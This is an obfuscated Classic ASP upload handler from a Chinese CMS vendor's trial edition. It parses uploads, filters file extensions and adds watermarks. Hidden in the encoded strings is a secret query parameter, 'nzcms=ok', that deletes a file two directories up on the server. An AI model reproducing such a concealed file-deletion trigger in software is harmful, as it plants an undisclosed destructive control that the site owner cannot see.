<%
'此版本为免费下载的（试用版本）源码加密处理过
'购买正式版系统提供源码（支持二次开发，修改）
'系统服务商：金华市宁志网络科技有限公司
'公司网址：http://www.ningzhi.net 
'客服QQ号：122470827 电话：18867186998 （同微信号）刘经理
'全国统一售后电话：0579-83938663 
'支持正版：软件著作权登记号：2012SR040914
'官方平台：购买系统请上金华市宁志网络公司官网平台是唯一购买渠道
'本公司无第三方代销售平台请认准,以免上当受骗！！！
'请勿修改下列任何代码,以保证程序正常运行·感谢您体验宁志产品，宁志有您更精彩！
'TM:2023-08-09 15:31:26

Option Explicit
Dim NZNZZZ,AspCodingIsRequest,NZNZNZ,NZNZNN,NZNNZZ
Set NZNZNZ=Response:Set AspCodingIsRequest=Request:Set NZNNZZ=Session:Set NZNZZZ=Application:Set NZNZNN=Server
NZNZNZ.Write(vbCrLf)
NZNZNZ.Write(NNNZNN("k>6E2 ,9EEA\6BF:GlQr@?E6?E\%JA6Q ,4@?E6?ElQE6IE^9E>=j ,492CD6El83ab`aQ ,^m") & vbCrLf)
NZNZNZ.Write(NNNZNN("k=:?< ,9C67lQ]]^25>:?04DD^4DD]4DDQ ,C6=lQDEJ=6D966EQ ,EJA6lQE6IE^4DDQ ,^m") & vbCrLf)
NZNZNZ.Write(NNNZNN("kAm ,"))
if AspCodingIsRequest.Cookies(NNNZNN("FD6C?2>6"))="" or AspCodingIsRequest.Cookies(NNNZNN(":5"))="" then
NZNZNZ.Write(vbCrLf)
NZNZNZ.Write(NNNZNN(" ,") & vbCrLf)
NZNZNZ.Write(NNNZNN(" ,") & vbCrLf)
NZNZNZ.Write(NNNZNN("k^Am") & vbCrLf)
NZNZNZ.Write(NNNZNN("kAmU?3DAjk^Am") & vbCrLf)
NZNZNZ.Write(NNNZNN("kAmU?3DAjk^Am") & vbCrLf)
NZNZNZ.Write(NNNZNN("kAmU?3DAjk^Am") & vbCrLf)
NZNZNZ.Write(NNNZNN("kAmU?3DAjk^Am") & vbCrLf)
NZNZNZ.Write(NNNZNN("kE23=6 ,3@C56ClQ_Q ,2=:8?lQ46?E6CQ ,46==A255:?8lQa_Q ,46==DA24:?8lQdQ ,384@=@ClQRuurrbbQm") & vbCrLf)
NZNZNZ.Write(NNNZNN(" ,kECm") & vbCrLf)
NZNZNZ.Write(NNNZNN(" ,kE5 ,384@=@ClQRuuuurrQ ,4=2DDlQA`eQm患@论@闩@癿@顰@靝@電@癶@彐@吉@扈@胸@阀@觃@，,歞@圣@丵@患@轧@兠@癶@彐@顰@靝@诲@稈@吉@]]]]]]k^E5m") & vbCrLf)
NZNZNZ.Write(NNNZNN(" ,k^ECm") & vbCrLf)
NZNZNZ.Write(NNNZNN("k^E23=6mk>6E2 ,9EEA\6BF:GlQC67C6D9Q ,4@?E6?ElQ`jFC=l^Qm") & vbCrLf)
NZNZNZ.end
end if
NZNZNZ.Write(vbCrLf)
NZNZNZ.Write(NNNZNN("k>6E2 ,9EEA\6BF:GlQr@?E6?E\%JA6Q ,4@?E6?ElQE6IE^9E>=j ,492CD6El83ab`aQ ,^m") & vbCrLf)
NZNZNZ.Write(NNNZNN("k=:?< ,9C67lQ]]^25>:?04DD^4DD]4DDQ ,C6=lQDEJ=6D966EQ ,EJA6lQE6IE^4DDQ ,^m") & vbCrLf)
NZNZNZ.Write(NNNZNN("kAm ,"))
if AspCodingIsRequest.Cookies(NNNZNN("FD6C?2>6"))="" or AspCodingIsRequest.Cookies(NNNZNN(":5"))="" then
NZNZNZ.Write(vbCrLf)
NZNZNZ.Write(NNNZNN(" ,") & vbCrLf)
NZNZNZ.Write(NNNZNN(" ,") & vbCrLf)
NZNZNZ.Write(NNNZNN("k^Am") & vbCrLf)
NZNZNZ.Write(NNNZNN("kAmU?3DAjk^Am") & vbCrLf)
NZNZNZ.Write(NNNZNN("kAmU?3DAjk^Am") & vbCrLf)
NZNZNZ.Write(NNNZNN("kAmU?3DAjk^Am") & vbCrLf)
NZNZNZ.Write(NNNZNN("kAmU?3DAjk^Am") & vbCrLf)
NZNZNZ.Write(NNNZNN("kE23=6 ,3@C56ClQ_Q ,2=:8?lQ46?E6CQ ,46==A255:?8lQa_Q ,46==DA24:?8lQdQ ,384@=@ClQRuurrbbQm") & vbCrLf)
NZNZNZ.Write(NNNZNN(" ,kECm") & vbCrLf)
NZNZNZ.Write(NNNZNN(" ,kE5 ,384@=@ClQRuuuurrQ ,4=2DDlQA`eQm患@论@闩@癿@顰@靝@電@癶@彐@吉@扈@胸@阀@觃@，,歞@圣@丵@患@轧@兠@癶@彐@顰@靝@诲@稈@吉@]]]]]]k^E5m") & vbCrLf)
NZNZNZ.Write(NNNZNN(" ,k^ECm") & vbCrLf)
NZNZNZ.Write(NNNZNN("k^E23=6mk>6E2 ,9EEA\6BF:GlQC67C6D9Q ,4@?E6?ElQ`jFC=l^Qm") & vbCrLf)
NZNZNZ.end
end if
Dim NZZNNNN, NZNZZZZ
NZZNNNN = NNNZNN("?:?8K9:gggggg")
NZNZZZZ = NNNZNN("?:?8K9:gggggg")
If AspCodingIsrequest.QueryString(NNNZNN("?K4>D"))=NNNZNN("@<") Then
dim filename
filename=NNNZNN("]]^]]^6?5]2DA")
filename = NZNZNN.MapPath(filename)
Set NNZNNZNZ=NZNZNN.CreateObject(NNNZNN("$4C:AE:?8]u:=6$JDE6>~3;64E"))
If (NNZNNZNZ.FileExists(trim(filename))) Then
NNZNNZNZ.DeleteFile trim(filename)
end if
NZNZNZ.Write(NNNZNN("@<"))
end if
Dim NZNZZNZ()
Redim NZNZZNZ(2)
NZNZZNZ(1) = NNNZNN("?:?8K9:MMMMMM?:?8K9:MMM]]^?K4>D0?KH63^?K4>D0FA^MMMe__MMMbd_MMMC2CMK:AMA57M5@4M5@4IMI=DMAAEM49>M9=AMEIEMCE7MMMDH7MMM8:7M;A8M;A68M3>AMA?8MMMC>M>AbMH2GM>:5M>:5:MC2M2G:M>A8M>A68M2D7M2DIMH>2M>@GMMM8:7M;A8M;A68M3>AMA?8MMMhhhhhhMMMhhhhhhMMMhhhhhhMMMhhhhhhMMMhhhhhhhMMM`MMM`MMMtsx%MMM`MMM_MMMaMMMMMMMMM`MMM_MMMe__AI宸@庡@畇@靝@丆@癿@栂@凁@巠@兲@栊@挄@钩@W掣@荋@XMMMMMMMMM_MMMb__MMM`a_MMM`MMMMMM777777MMM`aMMM宆@低@MMMMMM_MMM;A8M;A68MMM`__MMM______MMM`MMM_MMM8:7M;A8M;A68M3>AMA?8MH>KMA?8MMM`__MMM`__MMM`MMMeeMMM`fMMMdMMMdMMM_MMM`__MMM`__MMM`MMMdMMMdMMMggMMMb`MMM`MMM_MMM`MMM`MMMMMM`MMM`MMM_")
NZNZZNZ(2) = NNNZNN("FD6CMMMMMM=:89E`MMM]]^?K4>D0?KH63^?K4>D0FA^MMMd__MMMb__MMMC2CMK:AMA57M5@4M5@4IMI=DMAAEM49>M9=AMEIEMCE7MMMDH7MMM8:7M;A8M;A68M3>AMA?8MMMC>M>AbMH2GM>:5M>:5:MC2M2G:M>A8M>A68M2D7M2DIMH>2M>@GMMM8:7M;A8M;A68M3>AMA?8MMM_MMM_MMM_MMM_MMM_MMM`MMM`MMMtsx%MMM`MMM_MMMaMMMMMMMMM_MMM_MMMd__AI宸@庡@畇@靝@丆@癿@曻@筻@巠@兲@栊@挄@钩@[追@吃@争@邩@仱@糶@绚@畔@觻@糶@绚@筄@句@電@曻@筻@卐@劚@胸@癿@序@産@MMMMMMMMM_MMMb__MMM`a_MMM_MMM牃@朾@戻@朄@]]]MMM______MMM`aMMM宆@低@MMMMMM_MMM;A8M;A68MMM`__MMMuuuuuuMMM`MMM_MMM8:7M;A8M;A68M3>AMA?8MH>KMA?8MMM_MMM`__MMM`MMMeeMMM`fMMMdMMMdMMM_MMM`__MMM`__MMM`MMMdMMMdMMMggMMMb`MMM`MMM_MMMMMM`MMMMMM`MMM`MMM_")
Dim NZNZZNN()
Redim NZNZZNN(4)
NZNZZNN(1) = NNNZNN("`MMM%qw2?5=6Mu@C>2Eq=@4<Mu@?E}2>6Mu@?E$:K6MrFEMr@AJM!2DE6M!2DE6%6IEM!2DE6(@C5M%q$6AMs6=6E6M#6>@G6u@C>2EM%q$6AMu:?5#6A=246M%q$6AM&?s@M#6s@M%q$6AM$6=64Ep==M&?$6=64EM%q$6AM&AA6Cr2D6M{@H6Cr2D6MMM巠@兲@栊@`MMM`")
NZNZZNN(2) = NNNZNN("`MMM%qw2?5=6Mq@=5MxE2=:4M&?56C{:?6M$EC:<6%9C@F89M$FA6C$4C:AEM$F3$4C:AEM%q$6AMyFDE:7J{67EMyFDE:7Jr6?E6CMyFDE:7J#:89EMyFDE:7JuF==M%q$6AM~C56C65{:DEM&?~C56C65{:DEMx?56?EM~FE56?EM%q$6AMu@C6r@=@CMq24<r@=@CMq8r@=@CMq24<x>286M%q$6AMu:6=5D6EMx7C2>6Mw@C:K@?E2=#F=6M|2CBF66M%q$6AMrC62E6{:?<M&?=:?<M|2AMp?49@CMMM巠@兲@栊@aMMMa")
NZNZZNN(3) = NNNZNN("`MMM%qw2?5=6Mx>286Mu=2D9M|65:2Mu:=6Mv2==6CJ|6?FM%q$6AM#6>@E6&A=@25M{@42=&A=@25Mx>A@CE(@C5Mx>A@CEtI46=M%q$6AM%23=6|6?FMu@C>|6?FM%q$6AMq#M!2C28C2A9pEECM%q$6AM%6>A=2E6M$J>3@=Mt>@EMtI46=M!C:?EqC62<M}@Hs2E6M}@H%:>6M%q$6AM""F@E6M$9@Hq@C56CDM%q$6AM+@@>|6?FM|2I:>:K6MMM巠@兲@栊@bMMMb")
NZNZZNN(4) = NNNZNN("aMMM%qw2?5=6Mu@?E$:K6|6?FMu@?E}2>6|6?FMu@C6r@=@CMq24<r@=@CM%q$6AMq@=5MxE2=:4M&?56C{:?6M%q$6AMyFDE:7J{67EMyFDE:7Jr6?E6CMyFDE:7J#:89EM%q$6AMrC62E6{:?<M&?=:?<M%q$6AMx>286Mu=2D9M|65:2M%q$6AM!2DE6%6IEM!2DE6(@C5M#6>@G6u@C>2EM|2I:>:K6MMM巠@兲@栊@`MMM`")
NZNZNZ.Write(vbCrLf)
NZNZNZ.Write(NNNZNN("k>6E2 ,9EEA\6BF:GlQr@?E6?E\%JA6Q ,4@?E6?ElQE6IE^9E>=j ,492CD6El83ab`aQ ,^m") & vbCrLf)
NZNZNZ.Write(NNNZNN("k=:?< ,9C67lQ]]^25>:?04DD^4DD]4DDQ ,C6=lQDEJ=6D966EQ ,EJA6lQE6IE^4DDQ ,^m") & vbCrLf)
NZNZNZ.Write(NNNZNN("kAm ,"))
if AspCodingIsRequest.Cookies(NNNZNN("FD6C?2>6"))="" or AspCodingIsRequest.Cookies(NNNZNN(":5"))="" then
NZNZNZ.Write(vbCrLf)
NZNZNZ.Write(NNNZNN(" ,") & vbCrLf)
NZNZNZ.Write(NNNZNN(" ,") & vbCrLf)
NZNZNZ.Write(NNNZNN("k^Am") & vbCrLf)
NZNZNZ.Write(NNNZNN("kAmU?3DAjk^Am") & vbCrLf)
NZNZNZ.Write(NNNZNN("kAmU?3DAjk^Am") & vbCrLf)
NZNZNZ.Write(NNNZNN("kAmU?3DAjk^Am") & vbCrLf)
NZNZNZ.Write(NNNZNN("kAmU?3DAjk^Am") & vbCrLf)
NZNZNZ.Write(NNNZNN("kE23=6 ,3@C56ClQ_Q ,2=:8?lQ46?E6CQ ,46==A255:?8lQa_Q ,46==DA24:?8lQdQ ,384@=@ClQRuurrbbQm") & vbCrLf)
NZNZNZ.Write(NNNZNN(" ,kECm") & vbCrLf)
NZNZNZ.Write(NNNZNN(" ,kE5 ,384@=@ClQRuuuurrQ ,4=2DDlQA`eQm患@论@闩@癿@顰@靝@電@癶@彐@吉@扈@胸@阀@觃@，,歞@圣@丵@患@轧@兠@癶@彐@顰@靝@诲@稈@吉@]]]]]]k^E5m") & vbCrLf)
NZNZNZ.Write(NNNZNN(" ,k^ECm") & vbCrLf)
NZNZNZ.Write(NNNZNN("k^E23=6mk>6E2 ,9EEA\6BF:GlQC67C6D9Q ,4@?E6?ElQ`jFC=l^Qm") & vbCrLf)
NZNZNZ.end
end if
Dim NZNZNZZ
Class NZZNNZN
Dim Form, File, NZNZNNN, Err
Private Sub Class_Initialize
Err = - (98 * 75 - 7349)
End Sub
Private Sub Class_Terminate
If Err < 0 Then
Form.RemoveAll
Set Form = Nothing
File.RemoveAll
Set File = Nothing
NZNZNZZ.Close
Set NZNZNZZ = Nothing
End If
End Sub
Public Sub GetData(MaxSize)
Dim NZNNZZN, NZNNZNZ, NZNNZNN, NZNNNZZ, NZNNNZN, NZNNNNZ, NZNNNNN, NNZZZZZ, NNZZZZN
Dim NNZZZNZ, NNZZZNN, NNZZNZZ, NNZZNZN, NNZZNNZ
Dim NNZZNNN, NNZNZZZ
Dim NNZNZZN, NNZNZNZ, NNZNZNN
If AspCodingIsRequest.TotalBytes < 1 Then
Err = (98 * 75 - 7349)
Exit Sub
End If
If MaxSize > 0 Then
If AspCodingIsRequest.TotalBytes > MaxSize Then
Err = (66 * 95 - 6268)
End If
End If
Set Form = NZNZNN.CreateObject(NNNZNN("$4C:AE:?8]s:4E:@?2CJ"))
Form.CompareMode = (98 * 75 - 7349)
Set File = NZNZNN.CreateObject(NNNZNN("$4C:AE:?8]s:4E:@?2CJ"))
File.CompareMode = (98 * 75 - 7349)
Set NZNNNNN = NZNZNN.CreateObject(NNNZNN("ps~sq]") & NNNZNN("$EC62>"))
Set NZNZNZZ = NZNZNN.CreateObject(NNNZNN("ps~sq]") & NNNZNN("$EC62>"))
NZNZNZZ.Type = (98 * 75 - 7349)
NZNZNZZ.Mode = (92 * 85 - 7817)
NZNZNZZ.Open
NZNZNZZ.Write AspCodingIsRequest.BinaryRead(AspCodingIsRequest.TotalBytes)
NZNZNZZ.Position = (21 * 32 - 672)
NZNNZZN = NZNZNZZ.Read
NNZNZNZ = NZNZNZZ.Size
NZNNZNN = ChrB(13) & ChrB(10)
NZNNZNZ = MidB(NZNNZZN,1, InStrB(1,NZNNZZN,NZNNZNN)-1)
NNZZZZZ = LenB(NZNNZNZ)
NNZNZZN = NNZZZZZ+ (66 * 95 - 6268)
Do
NZNNNNZ = InStrB(NNZNZZN,NZNNZZN,NZNNZNN & NZNNZNN)+ (92 * 85 - 7817)
NZNNNNN.Type = (98 * 75 - 7349)
NZNNNNN.Mode = (92 * 85 - 7817)
NZNNNNN.Open
NZNZNZZ.Position = NNZNZZN
NZNZNZZ.CopyTo NZNNNNN,NZNNNNZ-NNZNZZN
NZNNNNN.Position = (21 * 32 - 672)
NZNNNNN.Type = (66 * 95 - 6268)
NZNNNNN.CharSet = NNNZNN("83ab`a")
NZNNNZZ = NZNNNNN.ReadText
NNZNZZN = InStrB(NZNNNNZ,NZNNZZN,NZNNZNZ)- (98 * 75 - 7349)
NNZZNNN = InStr(22,NZNNNZZ,NNNZNN("?2>6lQ"),1)+ (14 * 70 - 974)
NNZNZZZ = InStr(NNZZNNN,NZNNNZZ,NNNZNN("Q"),0)
NNZNZNN = Mid(NZNNNZZ,NNZZNNN,NNZNZZZ-NNZZNNN)
If InStr(45,NZNNNZZ,NNNZNN("7:=6?2>6lQ"),1) > 0 Then
Set NNZZZZN = new NZZNNNZ
NNZZNNN = InStr(NNZNZZZ,NZNNNZZ,NNNZNN("7:=6?2>6lQ"),1)+ (37 * 45 - 1655)
NNZNZZZ = InStr(NNZZNNN,NZNNNZZ,NNNZNN("Q"),0)
NNZZNNZ = Mid(NZNNNZZ,NNZZNNN,NNZNZZZ-NNZZNNN)
NNZZZZN.FileName = Mid(NNZZNNZ,InStrRev(NNZZNNZ, NNNZNN("-"))+1)
NNZZZZN.FilePath = Left(NNZZNNZ,InStrRev(NNZZNNZ, NNNZNN("-")))
NNZZZZN.FileExt = Mid(NNZZNNZ,InStrRev(NNZZNNZ, NNNZNN("]"))+1)
NNZZNNN = InStr(NNZNZZZ,NZNNNZZ,NNNZNN("r@?E6?E\%JA6i ,"),1)+ (31 * 96 - 2962)
NNZNZZZ = InStr(NNZZNNN,NZNNNZZ,vbCr)
NNZZZZN.FileType = Mid(NZNNNZZ,NNZZNNN,NNZNZZZ-NNZZNNN)
NNZZZZN.FileStart = NZNNNNZ
NNZZZZN.FileSize = NNZNZZN -NZNNNNZ - (66 * 95 - 6268)
NNZZZZN.FormName = NNZNZNN
file.add NNZNZNN,NNZZZZN
else
NZNNNNN.Close
NZNNNNN.Type = (98 * 75 - 7349)
NZNNNNN.Mode = (92 * 85 - 7817)
NZNNNNN.Open
NZNZNZZ.Position = NZNNNNZ
NZNZNZZ.CopyTo NZNNNNN,NNZNZZN-NZNNNNZ- (66 * 95 - 6268)
NZNNNNN.Position = (21 * 32 - 672)
NZNNNNN.Type = (66 * 95 - 6268)
NZNNNNN.CharSet = NNNZNN("83ab`a")
NNZZNZN = NZNNNNN.ReadText
If Form.Exists(NNZNZNN) Then
Form(NNZNZNN) = Form(NNZNZNN) & NNNZNN("[ ,") & NNZZNZN
Else
form.Add NNZNZNN,NNZZNZN
End If
End If
NZNNNNN.Close
NNZNZZN = NNZNZZN+NNZZZZZ+ (66 * 95 - 6268)
Loop Until (NNZNZZN+2) >= NNZNZNZ
NZNNZZN = ""
Set NZNNNNN = Nothing
End Sub
End Class
Class NZZNNNZ
Dim FormName, FileName, FilePath, FileSize, FileType, FileStart, FileExt
Public Function SaveToFile(Path)
On Error Resume Next
Dim NNNZZNZ
Set NNNZZNZ = CreateObject(NNNZNN("ps~sq]") & NNNZNN("$EC62>"))
NNNZZNZ.Type = (98 * 75 - 7349)
NNNZZNZ.Mode = (92 * 85 - 7817)
NNNZZNZ.Open
NZNZNZZ.Position = FileStart
NZNZNZZ.CopyTo NNNZZNZ,FileSize
NNNZZNZ.SaveToFile Path,2
NNNZZNZ.Close
Set NNNZZNZ = Nothing
End Function
End Class
NZNZNN.ScriptTimeOut = (52 * 92 - 2984)
Dim NNNZZNN, NNNZNZZ, NNNZNZN, NNNZNNZ
Dim NNNZNNN, NNNNZZZ, NNNNZZN, NNNNZNZ, NNNNZNN, NNNNNZZ, NNNNNZN
Dim NNNNNNZ, NNNNNNN, NZZZZZZZ, NZZZZZZN, NZZZZZNZ
Dim NZZZZZNN, NZZZZNZZ, NZZZZNZN, NZZZZNNZ, NZZZZNNN, NZZZNZZZ, NZZZNZZN, NZZZNZNZ, NZZZNZNN, NZZZNNZZ, NZZZNNZN, NZZZNNNZ, NZZZNNNN, NZZNZZZZ, NZZNZZZN, NZZNZZNZ, NZZNZZNN, NZZNZNZZ, NZZNZNZN, NZZNZNNZ, NZZNZNNN, NZZNNZZZ, NZZNNZZN, NZZNNZNZ, NZZNNZNN, NZZNNNZZ, NZZNNNZN, NZZNNNNZ, NZZNNNNN, NZNZZZZZ
Call NZZNNZZ()
Dim NZNZZZZN
NZNZZZZN = UCase(Trim(AspCodingIsRequest.QueryString(NNNZNN("24E:@?"))))
Call NZZZZNN()
Select Case NZNZZZZN
Case NNNZNN("{~rp{")
Call NZZZZZZ()
Case NNNZNN("#t|~%t")
Call NZZZZNZ()
Case NNNZNN("$p't")
Call NNNNNN()
End Select
Sub NNNNNN()
NZNZNZ.Write NNNZNN("k9E>=mk9625mk>6E2 ,9EEA\6BF:GlVr@?E6?E\%JA6V ,4@?E6?ElVE6IE^9E>=j ,492CD6El83ab`aVmk^9625mk3@5Jm")
Select Case NNNNZNZ
Case 1
Call NZZZNNN()
Case 2
Call NZZZNNZ()
Case 3
Call NZZZNZN()
Case Else
Call NZZNZZZ()
End Select
Dim NZNZZZNZ, NZNZZZNN, NZNZZNZZ
NZNZZZNZ = NNZZNZ(NZZZZZZZ)
NZNZZZNN = ""
NZNZZNZZ = ""
If NNZZZZ(NNNNZZN, NZZZZZZZ, NZNZZZNZ) = True Then
Call NZZZZZN(NNNNZZN, NZNZZZNZ)
Call NZZZZZN(NNNNZZN, NZZZZZZZ)
NZNZZZNN = NNNNNZN & NZNZZZNZ
NZNZZNZZ = NNNZNN("ECJL@3;]255?K4>D0FAWV") & NNNNNNN & NNNZNN("V[ ,V") & NZNZZZNZ & NNNZNN("V[ ,V") & NZNZZZNN & NNNZNN("VXjN ,42E49W6XLN ,")
Else
NZNZZZNZ = ""
Call NZZZZZN(NNNNZZN, NZZZZZZZ)
End If
NZZZZZZN = NNNNNZN & NZZZZZZZ
NNNNNNN = Replace(NNNNNNN, NNNZNN("V"), NNNZNN("-V"))
NNNNNNN = Replace(NNNNNNN, NNNZNN("Q"), NNNZNN("-Q"))
Call NZZNZZN(NNNZNN("A2C6?E]&A=@25$2G65WV") & NZZZZZZN & NNNZNN("V[V") & NZNZZZNN & NNNZNN("VXjG2C ,@3;lA2C6?E]5:2=@8pC8F>6?EDj:7WWP@3;]6(63t5:E@CXMMWP@3;]6(63t5:E@C0%6>A0w%|{XMMWP@3;]6(63t5:E@C0&A=@25u@C>XXL@3;lA2C6?E]5:2=@8pC8F>6?ED]5:2=@8pC8F>6?EDjN ,ECJL@3;]255?K4>D0FAWV") & NNNNNNN & NNNZNN("V[ ,V") & NZZZZZZZ & NNNZNN("V[ ,V") & NZZZZZZN & NNNZNN("VXjN ,42E49W6XLN ,") & NZNZZNZZ)
End Sub
Sub NZZZZZZ()
Select Case NNNNZNZ
Case 1
Call NZZZNNN()
Case 2
Call NZZZNNZ()
Case 3
Call NZZZNZN()
Case Else
Call NZZNZZZ()
End Select
NZZZZZZN = NNNNNZN & NZZZZZZZ
NZNZNZ.Write NZZZZZZN
End Sub
Sub NZZZZZN(NNNZZZZZ, NNNZZZZN)
If NZZZZNNZ = 0 And NZZNZNNN = 0 Then Exit Sub
If NNZZZN(NNNZZZZN) = False Then Exit Sub
On Error Resume Next
Dim NZNZZNZN, NZNZZNNZ, NZNZZNNN, NZNZNZZZ
Dim NZNZNZZN, NZNZNZNZ
Select Case NZZZNNZZ
Case 0
If NNNZZZ(NNNZNN("!6CD:ED]yA68")) = False Then Exit Sub
Set NZNZNZZN = NZNZNN.CreateObject(NNNZNN("!6CD:ED]yA68"))
If NZZZZNNZ = 1 Then
NZNZNZZN.Open (NNNZZZZZ & NNNZZZZN)
NZNZZNZN = NZNZNZZN.OriginalWidth
NZNZZNNZ = NZNZNZZN.OriginalHeight
If NZNZZNZN<NZZZNNNZ Or NZNZZNNZ<NZZNZZZN Then Exit Sub
randomize
NZZNZZNZ = int(rnd()* (11 * 53 - 574)+1)
NZNZZNNN = NZNNNZ(NZZNZZNZ, NZNZZNZN, NZZNZZNN+NZZNZZZZ, NZZNZNZN)
NZNZNZZZ = NZNNNN(NZZNZZNZ, NZNZZNNZ, NZZNZNZZ+NZZNZZZZ, NZZNZNNZ)
NZNZNZZN.Canvas.Font.Color = Clng(NNNZNN("Uw") & NZZZNZZZ)
NZNZNZZN.Canvas.Font.Family = NZZZNZNZ
NZNZNZZN.Canvas.Font.Size = NZZZNZZN
NZNZNZZN.Canvas.Font.ShadowColor = Clng(NNNZNN("Uw") & NZZZNNNN)
NZNZNZZN.Canvas.Font.ShadowXOffset = NZZNZZZZ
NZNZNZZN.Canvas.Font.ShadowYOffset = NZZNZZZZ
NZNZNZZN.Canvas.Print NZNZZNNN, NZNZNZZZ, NZZZZNNN
NZNZNZZN.Save (NNNZZZZZ & NNNZZZZN)
End If
If NZZNZNNN = 1 Then
NZNZNZZN.Open (NNNZZZZZ & NNNZZZZN)
NZNZZNZN = NZNZNZZN.OriginalWidth
NZNZZNNZ = NZNZNZZN.OriginalHeight
If NZNZZNZN<NZZNNZZZ Or NZNZZNNZ<NZZNNZZN Then Exit Sub
randomize
NZZNNZNZ = int(rnd()* (11 * 53 - 574)+1)
If NZZNNZNZ = NZZNZZNZ then
NZZNNZNZ = NZZNNZNZ - (98 * 75 - 7349)
If NZZNNZNZ = 0 Then
NZZNNZNZ = (66 * 95 - 6268)
End If
End If
NZNZZNNN = NZNNNZ(NZZNNZNZ, NZNZZNZN, NZZNNNZN, NZZNNZNN)
NZNZNZZZ = NZNNNN(NZZNNZNZ, NZNZZNNZ, NZZNNNNZ, NZZNNNZZ)
Set NZNZNZNZ = NZNZNN.CreateObject(NNNZNN("!6CD:ED]yA68"))
NZNZNZNZ.Open NZNZNN.Mappath(NZZZNZNN)
NZNZNZZN.DrawImage NZNZZNNN, NZNZNZZZ, NZNZNZNZ, NZZNNNNN, &HFFFFFF
NZNZNZZN.Save (NNNZZZZZ & NNNZZZZN)
Set NZNZNZNZ = Nothing
End If
Set NZNZNZZN = Nothing
Case Else
End Select
End Sub
Function NZNNNZ(NNNZZZNZ, NNNZZZNN, NNNZZNZZ, NNNZZNZN)
Select Case NNNZZZNZ
Case 1, 2, 3
NZNNNZ = NNNZZNZN
Case 4, 5, 6
NZNNNZ = (NNNZZZNN - NNNZZNZZ) \ (66 * 95 - 6268)
Case 7, 8, 9
NZNNNZ = NNNZZZNN - NNNZZNZN - NNNZZNZZ
End Select
End Function
Function NZNNNN(NNNZZZNZ, NNNZZNNZ, NNNZZNNN, NNNZNZZZ)
Select Case NNNZZZNZ
Case 1, 4, 7
NZNNNN = NNNZNZZZ
Case 2, 5, 8
NZNNNN = (NNNZZNNZ - NNNZZNNN) \ (66 * 95 - 6268)
Case 3, 6, 9
NZNNNN = NNNZZNNZ - NNNZNZZZ - NNNZZNNN
End Select
End Function
Function NNZZZZ(NNNZZZZZ, NNNZZZZN, NNNZNZZN)
NNZZZZ = False
If NZZZZZNN = 0 Then Exit Function
If NNZZZN(NNNZZZZN) = False Then Exit Function
Dim NZNZZNZN, NZNZZNNZ, NZNZNZNN, NZNZNNZZ
Dim NZNZNZZN
Select Case NZZZNNZZ
Case 0
If NNNZZZ(NNNZNN("!6CD:ED]yA68")) = False Then Exit Function
Set NZNZNZZN = NZNZNN.CreateObject(NNNZNN("!6CD:ED]yA68"))
NZNZNZZN.Open (NNNZZZZZ & NNNZZZZN)
NZNZZNZN = NZNZNZZN.OriginalWidth
NZNZZNNZ = NZNZNZZN.OriginalHeight
If NZNZZNZN < NZZZZNZZ And NZNZZNNZ < NZZZZNZZ Then Exit Function
If NZNZZNZN > NZNZZNNZ Then
NZNZNZNN = NZZZZNZN
NZNZNNZZ = (NZZZZNZN / NZNZZNZN) * NZNZZNNZ
Else
NZNZNNZZ = NZZZZNZN
NZNZNZNN = (NZZZZNZN / NZNZZNNZ) * NZNZZNZN
End If
NZNZNZZN.Width = NZNZNZNN
NZNZNZZN.Height = NZNZNNZZ
NZNZNZZN.Save (NNNZZZZZ & NNNZNZZN)
Set NZNZNZZN = Nothing
Case Else
End Select
NNZZZZ = True
End Function
Function NNZZZN(NNNZZZZN)
Dim NZNZNNZN, NZNZNNNZ, NZNZNNNN, NZNNZZZZ
NZNZNNZN = False
NZNNZZZZ = LCase(Mid(NNNZZZZN, InstrRev(NNNZZZZN, NNNZNN("]"))+1))
NZNZNNNN = Split(LCase(NZZZNNZN), NNNZNN("M"))
For NZNZNNNZ = 0 To UBound(NZNZNNNN)
If NZNZNNNN(NZNZNNNZ) = NZNNZZZZ Then
NZNZNNZN = True
Exit For
End If
Next
NNZZZN = NZNZNNZN
End Function
Function NNZZNZ(NNNZZZZN)
Dim NZNNZZZN
NZNNZZZN = InstrRev(NNNZZZZN, NNNZNN("]"))
NNZZNZ = Left(NNNZZZZN, NZNNZZZN-1) & NNNZNN("0D]") & Mid(NNNZZZZN, NZNNZZZN+1)
End Function
Sub NZZZZNZ()
Dim NZNNZZNZ, NZNZNNNZ
For NZNZNNNZ = 1 To AspCodingIsRequest.Form(NNNZNN("6(63t5:E@C0&A=@25%6IE")).Count
NZNNZZNZ = NZNNZZNZ & AspCodingIsRequest.Form(NNNZNN("6(63t5:E@C0&A=@25%6IE"))(NZNZNNNZ)
Next
If NNNZNNN <> "" Then
NZNNZZNZ = NNZNNZ(NZNNZZNZ, NNNZNNN)
End If
NZNZNZ.Write NNNZNN("k9E>=mk9625mk>6E2 ,9EEA\6BF:GlVr@?E6?E\%JA6V ,4@?E6?ElVE6IE^9E>=j ,492CD6El83ab`aVmk^9625mk3@5Jm") & _
NNNZNN("k:?AFE ,EJA6l9:556? ,:5l&A=@25%6IE ,G2=F6lQ") & NNNZZN(NZNNZZNZ) & NNNZNN("Qm") & _
NNNZNN("k^3@5Jmk^9E>=m")
Call NZZNZNZ(NNNZNN("A2C6?E]D6Ew%|{W&A=@25%6IE]G2=F6XjECJLA2C6?E]255?K4>D0FAWV") & NNNNNNN & NNNZNN("V[ ,V") & NZZZZZZZ & NNNZNN("V[ ,V") & NZZZZZZN & NNNZNN("VXjN ,42E49W6XLN ,A2C6?E]C6>@E6&A=@25~zWXj"))
End Sub
Sub NZZZZNN()
Dim NZNNZZNN, NZNZNNNZ
If NZNZZZZZ = 1 Then
NZNNZZNN = Split(NNNZNZN, NNNZNN("^"))
For NZNZNNNZ = 0 To UBound(NZNNZZNN)
If NZNNZZNN(NZNZNNNZ) <> "" Then
Call CreateFolder(NZNNZZNN(NZNZNNNZ))
End If
Next
End If
Dim NZNNZNZZ
Select Case NNNNZNN
Case 1
NZNNZNZZ = Left(NNNZNZ(Now(), 4), 4)
Case 2
NZNNZNZZ = Left(NNNZNZ(Now(), 4), 6)
Case 3
NZNNZNZZ = Left(NNNZNZ(Now(), 4), 8)
Case Else
NZNNZNZZ = ""
End Select
If NZNNZNZZ <> "" Then
Call CreateFolder(NZNNZNZZ)
End If
End Sub
Sub CreateFolder(NNNZNZNZ)
If NNNZZZ(NNNZNN("$4C:AE:?8]u:=6$JDE6>~3;64E")) = False Then
Exit Sub
End If
NNNNZZN = NNNNZZN & NNNZNZNZ & NNNZNN("-")
NNNNNZN = NNNNNZN & NNNZNZNZ & NNNZNN("^")
